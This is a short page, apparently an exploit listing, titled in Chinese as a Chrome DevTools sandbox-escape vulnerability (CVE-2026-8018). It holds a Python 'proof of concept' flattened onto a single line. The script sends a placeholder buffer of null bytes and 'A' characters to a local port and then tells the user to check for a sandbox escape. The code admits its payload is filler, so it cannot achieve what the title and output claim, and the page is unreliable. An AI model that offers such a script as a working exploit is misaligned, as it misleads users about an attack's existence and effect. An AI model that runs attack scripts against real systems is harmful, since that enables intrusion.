CVE-2026-8018 Google Chrome DevTools沙箱逃逸漏洞

import socket import struct # Conceptual PoC for CVE-2026-8018 # This script simulates sending malicious network traffic to trigger the DevTools policy bypass. # Note: Actual exploitation requires a vulnerable Chrome version and specific packet crafting. def send_malicious_traffic(target_ip, target_port): try: # Create a raw socket or TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft payload designed to trigger DevTools insufficient policy enforcement # This payload is a placeholder for the actual exploit bytes payload = b"\x00\x00\x00" + b"A" * 100 # Example buffer structure print(f"[+] Sending malicious payload to {target_ip}:{target_port}...") s.send(payload) # Receive response (if any) response = s.recv(4096) print("[+] Payload sent. Check target for sandbox escape.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" port = 8080 send_malicious_traffic(target, port)